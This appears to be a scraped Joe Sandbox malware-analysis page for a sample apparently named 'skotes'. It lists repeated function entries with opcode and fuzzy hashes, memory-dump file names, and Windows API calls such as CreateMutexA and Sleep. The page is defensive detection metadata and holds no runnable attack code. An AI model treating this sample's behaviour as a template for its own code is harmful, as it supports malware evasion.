Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2%
API String ID: 396266464-847306568
Opcode ID: bd4313adcf91f2fac197ea88d5605816e735dde591400411a9bd7817771ab738
Instruction ID: e927ead5b76c4ebb2516985a4f390c96f96d79560729a0ea6f6d0599efcd6b05
Opcode Fuzzy Hash: bd4313adcf91f2fac197ea88d5605816e735dde591400411a9bd7817771ab738
Instruction Fuzzy Hash: EB3146716142088BEF08EBB8EC887BDB7A2EFC5314F344228E204D73D5C77999908751

Function 001F9F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 001F9F47
Sleep.KERNEL32(00000064,?), ref: 001FA963
CreateMutexA.KERNEL32(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2%
API String ID: 396266464-847306568
Opcode ID: 4822c0e29589e3f904b1ba263173efd144dab50f31b4cc92f89b9203d39fba35
Instruction ID: bf640214a958da9ad010efb51af6e4a55959b2d1b6e9e7f56f558bfbd57e48e1
Opcode Fuzzy Hash: 4822c0e29589e3f904b1ba263173efd144dab50f31b4cc92f89b9203d39fba35
Instruction Fuzzy Hash: 7C316F717102089BEB08EB78EC9877DBBB2EFC5314F244229E618D73D1C77959908751

Function 001FA079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 001FA07C
Sleep.KERNEL32(00000064,?), ref: 001FA963
CreateMutexA.KERNEL32(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2%
API String ID: 396266464-847306568
Opcode ID: fb25ccbe737b73f56e606d62dce40509da083d18556fb9f66b3ca2b8b6427f20
Instruction ID: 8159954d6e436acbcd940d4da0a45ade2cbbcf00aef12434585e9a3c6b27e472
Opcode Fuzzy Hash: fb25ccbe737b73f56e606d62dce40509da083d18556fb9f66b3ca2b8b6427f20
Instruction Fuzzy Hash: 98317BB17242089BEB08DBB8ED9877DB776EFC1314F644228E218D73D1C77A59908752

Function 001FA1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 001FA1B1
Sleep.KERNEL32(00000064,?), ref: 001FA963
CreateMutexA.KERNEL32(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2%
API String ID: 396266464-847306568
Opcode ID: 13faee35da16a7ac7ae365f5672b47454e533bc816262eea310cab941f17caeb
Instruction ID: ecd8e057f0ee5676bbddf2f30a7c09c387eb8015f832149f7f75b91fbc66dfc8
Opcode Fuzzy Hash: 13faee35da16a7ac7ae365f5672b47454e533bc816262eea310cab941f17caeb
Instruction Fuzzy Hash: F03148B17142089BEB08DBB8EC9877DB776EFC6314F604228E208973D1C77A59808712

Function 001FA2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 001FA2E6
Sleep.KERNEL32(00000064,?), ref: 001FA963
CreateMutexA.KERNEL32(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2%
API String ID: 396266464-847306568
Opcode ID: 02919c8bfad795d69c064ec30cca40fa972f90061a4ed470133a4e25df3340dd
Instruction ID: 4e4e63abb2811cb1ade0167b87451c976e5c7ac52a4aaaabf5e721618c99f4cf
Opcode Fuzzy Hash: 02919c8bfad795d69c064ec30cca40fa972f90061a4ed470133a4e25df3340dd
Instruction Fuzzy Hash: 763148B17202089BEB08DB78EC9877DB776FFC1314F644228E618977D1C77A99808752

Function 001FA418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 001FA41B
Sleep.KERNEL32(00000064,?), ref: 001FA963
CreateMutexA.KERNEL32(00000000,00000000,00253254), ref: 001FA981

Strings

T2%, xrefs: 001FA970

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
